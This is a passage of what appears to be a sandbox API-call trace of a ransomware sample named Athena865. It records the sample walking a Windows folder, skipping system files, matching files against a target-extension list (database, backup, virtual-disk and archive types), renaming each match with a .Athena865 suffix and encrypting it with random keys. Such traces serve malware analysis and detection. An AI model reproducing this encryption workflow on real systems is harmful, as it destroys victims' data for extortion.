lstrcmpiW (lpString1="rom.xml", lpString2="sqlite3") returned -1 [0110.258] lstrlenW (lpString="sqlitedb") returned 8 [0110.258] lstrcmpiW (lpString1="srom.xml", lpString2="sqlitedb") returned 1 [0110.258] lstrlenW (lpString="xml") returned 3 [0110.258] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.258] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.Athena865") returned 71 [0110.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.athena865"), dwFlags=0x1) returned 1 [0110.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.259] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2644) returned 1 [0110.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.259] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.260] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.260] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.260] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x17c [0110.262] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0110.262] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.263] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.263] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.264] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.264] CloseHandle (hObject=0x17c) returned 1 [0110.264] CloseHandle (hObject=0x154) returned 1 [0110.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.264] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0110.264] lstrcmpiW (lpString1="ipsrus.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.264] lstrcmpiW (lpString1="ipsrus.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.264] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".") returned 1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="..") returned 1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="windows") returned -1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="bootmgr") returned 1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="temp") returned -1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="pagefile.sys") returned -1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="boot") returned 1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="ids.txt") returned 1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="ntuser.dat") returned -1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="perflogs") returned -1 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2="MSBuild") returned -1 [0110.265] lstrlenW (lpString="ipsrus.xml") returned 10 [0110.265] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsrus.xml" | out: lpString1="ipsrus.xml") returned="ipsrus.xml" [0110.265] lstrlenW (lpString="ipsrus.xml") returned 10 [0110.265] lstrlenW (lpString="Athena865") returned 9 [0110.265] lstrcmpiW (lpString1="psrus.xml", lpString2="Athena865") returned 1 [0110.265] lstrlenW (lpString=".dll") returned 4 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".dll") returned 1 [0110.265] lstrlenW (lpString=".lnk") returned 4 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".lnk") returned 1 [0110.265] lstrlenW (lpString=".ini") returned 4 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".ini") returned 1 [0110.265] lstrlenW (lpString=".sys") returned 4 [0110.265] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".sys") returned 1 [0110.265] lstrlenW (lpString="ipsrus.xml") returned 10 [0110.265] lstrlenW (lpString="bak") returned 3 [0110.265] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.265] lstrlenW (lpString="ba_") returned 3 [0110.265] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.265] lstrlenW (lpString="dbb") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.266] lstrlenW (lpString="vmdk") returned 4 [0110.266] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.266] lstrlenW (lpString="rar") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.266] lstrlenW (lpString="zip") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.266] lstrlenW (lpString="tgz") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.266] lstrlenW (lpString="vbox") returned 4 [0110.266] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.266] lstrlenW (lpString="vdi") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.266] lstrlenW (lpString="vhd") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.266] lstrlenW (lpString="vhdx") returned 4 [0110.266] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.266] lstrlenW (lpString="avhd") returned 4 [0110.266] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.266] lstrlenW (lpString="db") returned 2 [0110.266] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.266] lstrlenW (lpString="db2") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.266] lstrlenW (lpString="db3") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.266] lstrlenW (lpString="dbf") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.266] lstrlenW (lpString="mdf") returned 3 [0110.266] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.267] lstrlenW (lpString="mdb") returned 3 [0110.267] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.267] lstrlenW (lpString="sql") returned 3 [0110.267] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.267] lstrlenW (lpString="sqlite") returned 6 [0110.267] lstrcmpiW (lpString1="us.xml", lpString2="sqlite") returned 1 [0110.267] lstrlenW (lpString="sqlite3") returned 7 [0110.267] lstrcmpiW (lpString1="rus.xml", lpString2="sqlite3") returned -1 [0110.267] lstrlenW (lpString="sqlitedb") returned 8 [0110.267] lstrcmpiW (lpString1="srus.xml", lpString2="sqlitedb") returned 1 [0110.267] lstrlenW (lpString="xml") returned 3 [0110.267] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.267] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.Athena865") returned 71 [0110.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.athena865"), dwFlags=0x1) returned 1 [0110.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.269] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2542) returned 1 [0110.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.269] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.270] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.270] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.270] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf0, lpName=0x0) returned 0x17c [0110.272] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcf0) returned 0x100000 [0110.272] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.273] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.273] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.274] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.274] CloseHandle (hObject=0x17c) returned 1 [0110.274] CloseHandle (hObject=0x154) returned 1 [0110.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.274] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".") returned 1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="..") returned 1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="windows") returned -1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="bootmgr") returned 1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="temp") returned -1 [0110.274] lstrcmpiW (lpString1="ipssrb.xml", lpString2="pagefile.sys") returned -1 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2="boot") returned 1 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2="ids.txt") returned 1 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2="ntuser.dat") returned -1 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2="perflogs") returned -1 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2="MSBuild") returned -1 [0110.275] lstrlenW (lpString="ipssrb.xml") returned 10 [0110.275] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipssrb.xml" | out: lpString1="ipssrb.xml") returned="ipssrb.xml" [0110.275] lstrlenW (lpString="ipssrb.xml") returned 10 [0110.275] lstrlenW (lpString="Athena865") returned 9 [0110.275] lstrcmpiW (lpString1="pssrb.xml", lpString2="Athena865") returned 1 [0110.275] lstrlenW (lpString=".dll") returned 4 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".dll") returned 1 [0110.275] lstrlenW (lpString=".lnk") returned 4 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".lnk") returned 1 [0110.275] lstrlenW (lpString=".ini") returned 4 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".ini") returned 1 [0110.275] lstrlenW (lpString=".sys") returned 4 [0110.275] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".sys") returned 1 [0110.275] lstrlenW (lpString="ipssrb.xml") returned 10 [0110.275] lstrlenW (lpString="bak") returned 3 [0110.275] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.275] lstrlenW (lpString="ba_") returned 3 [0110.275] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.275] lstrlenW (lpString="dbb") returned 3 [0110.275] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.275] lstrlenW (lpString="vmdk") returned 4 [0110.275] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.275] lstrlenW (lpString="rar") returned 3 [0110.275] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.276] lstrlenW (lpString="zip") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.276] lstrlenW (lpString="tgz") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.276] lstrlenW (lpString="vbox") returned 4 [0110.276] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.276] lstrlenW (lpString="vdi") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.276] lstrlenW (lpString="vhd") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.276] lstrlenW (lpString="vhdx") returned 4 [0110.276] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.276] lstrlenW (lpString="avhd") returned 4 [0110.276] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.276] lstrlenW (lpString="db") returned 2 [0110.276] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.276] lstrlenW (lpString="db2") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.276] lstrlenW (lpString="db3") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.276] lstrlenW (lpString="dbf") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.276] lstrlenW (lpString="mdf") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.276] lstrlenW (lpString="mdb") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.276] lstrlenW (lpString="sql") returned 3 [0110.276] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.277] lstrlenW (lpString="sqlite") returned 6 [0110.277] lstrcmpiW (lpString1="rb.xml", lpString2="sqlite") returned -1 [0110.277] lstrlenW (lpString="sqlite3") returned 7 [0110.277] lstrcmpiW (lpString1="srb.xml", lpString2="sqlite3") returned 1 [0110.277] lstrlenW (lpString="sqlitedb") returned 8 [0110.277] lstrcmpiW (lpString1="ssrb.xml", lpString2="sqlitedb") returned 1 [0110.277] lstrlenW (lpString="xml") returned 3 [0110.277] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.Athena865") returned 71 [0110.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.athena865"), dwFlags=0x1) returned 1 [0110.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.278] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2568) returned 1 [0110.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.279] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.279] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.279] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.280] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd10, lpName=0x0) returned 0x17c [0110.281] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd10) returned 0x100000 [0110.282] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.282] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.282] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.283] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.283] CloseHandle (hObject=0x17c) returned 1 [0110.283] CloseHandle (hObject=0x154) returned 1 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.284] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="..") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="windows") returned -1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="bootmgr") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="temp") returned -1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="pagefile.sys") returned -1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="boot") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="ids.txt") returned 1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="ntuser.dat") returned -1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="perflogs") returned -1 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2="MSBuild") returned -1 [0110.284] lstrlenW (lpString="ipssrl.xml") returned 10 [0110.284] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipssrl.xml" | out: lpString1="ipssrl.xml") returned="ipssrl.xml" [0110.284] lstrlenW (lpString="ipssrl.xml") returned 10 [0110.284] lstrlenW (lpString="Athena865") returned 9 [0110.284] lstrcmpiW (lpString1="pssrl.xml", lpString2="Athena865") returned 1 [0110.284] lstrlenW (lpString=".dll") returned 4 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".dll") returned 1 [0110.284] lstrlenW (lpString=".lnk") returned 4 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".lnk") returned 1 [0110.284] lstrlenW (lpString=".ini") returned 4 [0110.284] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".ini") returned 1 [0110.285] lstrlenW (lpString=".sys") returned 4 [0110.285] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".sys") returned 1 [0110.285] lstrlenW (lpString="ipssrl.xml") returned 10 [0110.285] lstrlenW (lpString="bak") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.285] lstrlenW (lpString="ba_") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.285] lstrlenW (lpString="dbb") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.285] lstrlenW (lpString="vmdk") returned 4 [0110.285] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.285] lstrlenW (lpString="rar") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.285] lstrlenW (lpString="zip") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.285] lstrlenW (lpString="tgz") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.285] lstrlenW (lpString="vbox") returned 4 [0110.285] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.285] lstrlenW (lpString="vdi") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.285] lstrlenW (lpString="vhd") returned 3 [0110.285] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.285] lstrlenW (lpString="vhdx") returned 4 [0110.285] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.285] lstrlenW (lpString="avhd") returned 4 [0110.285] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.285] lstrlenW (lpString="db") returned 2 